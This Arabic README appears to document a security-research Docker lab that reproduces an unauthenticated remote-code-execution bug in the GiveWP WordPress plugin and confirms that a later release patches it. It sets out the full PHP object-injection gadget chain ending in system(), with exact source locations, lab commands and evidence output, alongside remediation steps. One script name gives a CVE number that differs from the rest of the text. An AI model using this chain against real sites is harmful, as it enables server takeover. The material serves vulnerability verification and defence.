
# مختبر Docker مصرح به وPoC نظيف للتحقق من CVE-2026-82222 RCE في GiveWP 4.16.5.1 وإصلاح 4.16.7.2.
مواد بحث أمني لإعادة إنتاج والتحقق من CVE-2026-82222 في مختبر Docker معزول.
للاستخدام المباشر لـ RCE PoC وفحص الروابط استخدم CVE-2026-8222-RCE.py
الحالة: مُثبت في المختبر المقدم
يسمح GiveWP 4.16.5.1 لمهاجم غير مُصادق مبدئيًا بتخزين مخطط كائنات PHP، وإحيائه عبر معالجة جلسات GiveWP، وتنفيذ أمر علامة ثابت كمستخدم خادم الويب في WordPress.
النتيجة الإيجابية المُختبرة:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Result: /tmp/CVE-2026-82222-RCE-GETBAG created by www-data
كما تم إعادة إنتاج النتيجة من البداية إلى النهاية ضد مصدر GiveWP 4.16.5.1 الأصلي غير المُجهز. قام GiveWP 4.16.7.2 بحظر الناقل عبر HTTP في الإعداد المُختبر وحظر أداة الطرفية بشكل مستقل أثناء التحكم المباشر.
هذا يُثبت تنفيذ أوامر داخل حاوية WordPress. لا يُثبت الوصول الجذري، أو الهروب من الحاوية، أو الحركة الجانبية، أو اختراق المضيف.
استخدم هذا المستودع فقط على الأنظمة التي تملكها أو مُصرح لك صراحةً باختبارها.
إن PoC المقدم مقيد عمدًا:
touch /tmp/CVE-2026-82222-RCE-GETBAG.--allow-authorized-non-loopback.127.0.0.1.يُنشئ اختبار HTTP مستخدم متبرع مؤقتًا، وبيانات وصفية، وصفوف جلسات GiveWP. استخدم أمر إعادة التعيين المرفق بعد الاختبار.
المتطلبات:
curlunzipsha256sum أو shasumdownloads.wordpress.org لأرشيفات الإضافات الرسميةشغّل مصفوفة الضعيف/المصحح الكاملة:
./lab verify
يقوم الأمر بـ:
ProviderForwarder الطرفية المصححة ترفض أيضًا الاستدعاء النصي.يبقى المختبر المصحح قيد التشغيل في النهاية. أزله باستخدام:
./lab reset
لاستخدام منفذ loopback آخر:
LAB_PORT=8099 ./lab verify
يجب أن ينتهي التحكم الضعيف بأدلة طرفية ملموسة:
[PASS] E1: unauthenticated registration issued auth cookie
[PASS] E3: serialized graph persisted in own last_name
[PASS] E4: donation-form nonce obtained
[PASS] E5: session write reached expected post-sink HTTP status=500
[PASS] E6: session read/destruction trigger completed
marker present and owned by the WordPress web user
RESULT: VULNERABLE CONTROL CONFIRMED
يجب أن يُظهر التحكم المصحح:
[PASS] P1: patched registration gate blocked auth cookie
DIRECT_MARKER=absent
HTTP marker absent and direct terminal gadget blocked
RESULT: PATCHED CONTROL CONFIRMED
إن HTTP 500، أو حمولة مخزنة، أو استثناء، أو إصابة كاشف بدون العلامة لا يُقبل كدليل على RCE.
ابدأ واختبر الإصدار الضعيف:
./lab start vulnerable
./lab test
ابدأ واختبر الإصدار المصحح:
./lab start patched
./lab test
افحص الحالة الحالية:
./lab status
أزل الحاويات، ووحدات التخزين، ومستخدمي الاختبار، والجلسات، وحالة العلامة:
./lab reset
يتم الاحتفاظ بملفات ZIP المخزنة مؤقتًا للإضافات والأصول المستخرجة لإعادة تشغيل أسرع. أزل تلك الأصول المُولدة المحددة أيضًا باستخدام:
./lab reset --purge-assets
| الإصدار | التقييم |
|---|---|
| GiveWP 4.16.5.1 | تم إعادة إنتاج RCE من البداية إلى النهاية |
| GiveWP 4.16.6–4.16.7.1 | مُبلغ عنه كمتأثر؛ لم يتم إعادة إنتاجه بشكل فردي هنا |
| GiveWP 4.16.7.2 | تم إعادة إنتاج الضوابط السلبية المصححة |
| الإصدارات الأحدث | لم يتم اختبارها بشكل فردي؛ قم بالتحديث إلى أحدث إصدار مدعوم |
يحدد الاستشارة العامة الإصدارات حتى 4.16.7.1 كمتأثرة. يُثبت هذا المستودع بشكل مباشر فقط الإصدارين في مصفوفة الاختبار الإيجابي/السلبي الخاصة به.
المراجع:
يجمع الاستغلال بين عدة سلوكيات:
Give\Helpers\Utils::maybeSafeUnserialize() قيمة allowed_classes => false، مما يُنتج __PHP_Incomplete_Class، لكن تسلسلًا لاحقًا يحافظ على أسماء الفئات والخصائص الأصلية.maybe_unserialize() غير المقيد لاحقًا بإحياء الفئات المرفقة.system().أربعة شرطات مائلة عكسية حرفية لمساحات الأسماء مطلوبة في الناقل عبر HTTP. تمريرات التجريد الفعالة تقللها 4 -> 2 -> 1. الحمولة خالية من NUL، وتم التحقق من أن PHP 8.1.30 يرطب الاسم المُسلسل العادي لخاصية Session::$attributeName الخاصة.
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
المخطط المتحكم به من قبل المهاجم:
TCPDF
├── file_id = معرّف طلب فريد
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = أمر العلامة الثابت
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
الانتقال الحرج الخفي هو توجيه PHP الضمني لـ IteratorAggregate. TCPDF::$imagekeys غير مُنمط، لذا فإن تعيين Session من Symfony يؤدي إلى استدعاء foreach لـ Session::getIterator().
يتم تنفيذ أمر العلامة قبل أن يفرض Symfony نوع الإرجاع
getAttributeBag(): AttributeBagInterface. إن TypeError الناتج و HTTP 500 هما تأثيرات لاحقة للمصرف (post-sink).
استخدم المخطط المرشح المرفوض:
TCPDF::$objcopy
-> DonationFactory::$loadedProviders['__destruct'] = 'system'
لا يمكن أن يعمل هذا المخطط. TCPDF::_destroy() يقوم فقط بإلغاء تعيين objcopy؛ ولا يقوم PHP بتوجيه التدمير التلقائي عبر __call('__destruct', ...).
العملية المفقودة كانت:
foreach ($this->imagekeys as $file) {
راجعت المراجعة السابقة المُدمِرات واستدعاءات الطرق الصريحة ولكنها لم تفحص بشكل متكرر بروتوكول الكائن الضمني الذي يُطلق بواسطة foreach. توفر Session من Symfony الجسر المفقود:
foreach دالة getIterator().getIterator() إلى getBag($attributeName).storage المتحكم به من قبل المهاجم هو DonationFactory.getBag غير المعرّف ProviderForwarder::__call().loadedProviders['getBag'] = 'system' الاستدعاء.attributeName وسيطة الأمر.مواقع GiveWP 4.16.5.1 ذات الصلة:
| المكوّن | الموقع |
|---|---|
| إلغاء التسلسل الأولي المحروس | src/Helpers/Utils.php:203-217,237-241 |
| ناقل التبرع | includes/process-donation.php:157 |
| استمرارية جلسة GiveWP | includes/class-give-session.php:364-368,489-508 |
| إحياء الجلسة غير المقيد | includes/class-give-session.php:347-350 |
| مُدمِر TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php:2050-2052 |
| التكرار المتحكم به من قبل المهاجم | vendor/tecnickcom/tcpdf/tcpdf.php:7885-7907 |
| جسر مكرر Symfony | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:134-136 |
جسر getBag في Symfony | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:259-283 |
| الاستدعاء الطرفي | src/TestData/Framework/ProviderForwarder.php:19-23 |
| مُحمّلات Composer التلقائية في GiveWP | give.php:624-625 |
تجزئات الإصدار الرسمي:
give.4.16.5.1.zip
95fc6709b6ed284074bf09be096e28d6299fd4a103848c2b1c3bf8a5772cf98c
give.4.16.7.2.zip
c5bc98da2abb748c64d31a43679ff5f223092dfff6d214132a55dcbc948e91ae
يعيد المختبر استخراج كل إضافة من ملف ZIP المُتحقق منه قبل كل بداية جديدة، وينسخها إلى WordPress دون تعديل، ويقارن بايتًا ببايت شجرة ملفات الإضافة الكاملة المنشورة مع المصدر المُتحقق منه. كما يتم تثبيت صور Docker الأساسية الرسمية الثلاث على ملخصات بيان متعددة البنى الخاصة بها.
يضيف GiveWP 4.16.7.2 دفاعات مستقلة عبر التسجيل، ومعالجة المدخلات المُسلسلة، وإحياء الجلسة، وترحيل البيانات، وتقوية الأدوات.
يتطلب التقوية الطرفية أن ينفذ الكائن المُحل العقد المزود المتوقع:
if ( ! $provider instanceof Contract\Provider ) {
return null;
}
لذلك يتم رفض السلسلة system المتحكم بها من قبل المهاجم. يتجاوز التحكم المباشر في هذا المستودع الناقل عبر HTTP ويتحقق من أن هذا الدفاع الطرفي وحده يترك علامته غائبة.
النتيجة السلبية لـ PoC بحد ذاتها لا تُثبت أن الموقع مصحح. يمكن لجدار حماية تطبيقات الويب (WAF)، أو توجيه مختلف، أو تسجيل معطل، أو نموذج قديم مفقود، أو إعداد جلسة، أو دوال أوامر PHP معطلة أن تمنع العلامة على قاعدة كود لا تزال ضعيفة.
إجراءات التحقق المفضلة:
فحص الإصدار:
wp plugin get give --fields=name,status,version
حدّث GiveWP إلى أحدث إصدار مدعوم. بعد التحديث:
TCPDF أو Session من Symfony أو loadedProviders المُسلسلة.إذا كان تثبيت ضعيف معرّض للإنترنت يحتوي على آثار حقن كائنات، فتعامل معه كاختراق محتمل بدلاً من مجرد تحديث الإضافة.
.
├── .github/workflows/validate.yml
├── .gitignore
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── poc
│ ├── direct-pop-control.php
│ └── poc.py
└── scripts
└── fetch-assets.sh
غير مُلتزم به:
ملفات ZIP الرسمية للإضافات
مصدر GiveWP المستخرج
مصدر الهدف المُجهز
ملفات تعريف الارتباط أو بيانات الجلسة
الأدلة/السجلات وقت التشغيل
عناوين الأهداف الداخلية أو بيانات الاعتماد القابلة لإعادة الاستخدام
حمولات objcopy القديمة
مخرجات التحقق التاريخية
| الادعاء | الحالة |
|---|---|
| ناقل حقن كائنات PHP المستمر | مُثبت |
| إحياء الفئات المرفقة | مُثبت |
| سلسلة POP الكاملة من المخزون | مُثبت |
| تنفيذ العلامة الثابتة كمستخدم الويب | مُثبت |
| إعادة الإنتاج ضد 4.16.5.1 الأصلي | مُثبت |
| الضوابط السلبية ضد 4.16.7.2 الأصلي | مُثبت |
| اختبار كل إصدار متوسط متأثر | غير مُختبر |
| صلاحية الجذر | غير مُدعاة |
| الهروب من الحاوية | غير مُختبر |
| اختراق المضيف | غير مُختبر |
معيار الإثبات صارم عمدًا: فقط علامة أمر قابلة للملاحظة عبر سلسلة المخزون غير المعدلة تُسمى RCE. قبول HTTP، والتسلسل، والاستثناءات، وإصابات الكاشف هي أدلة وسيطة.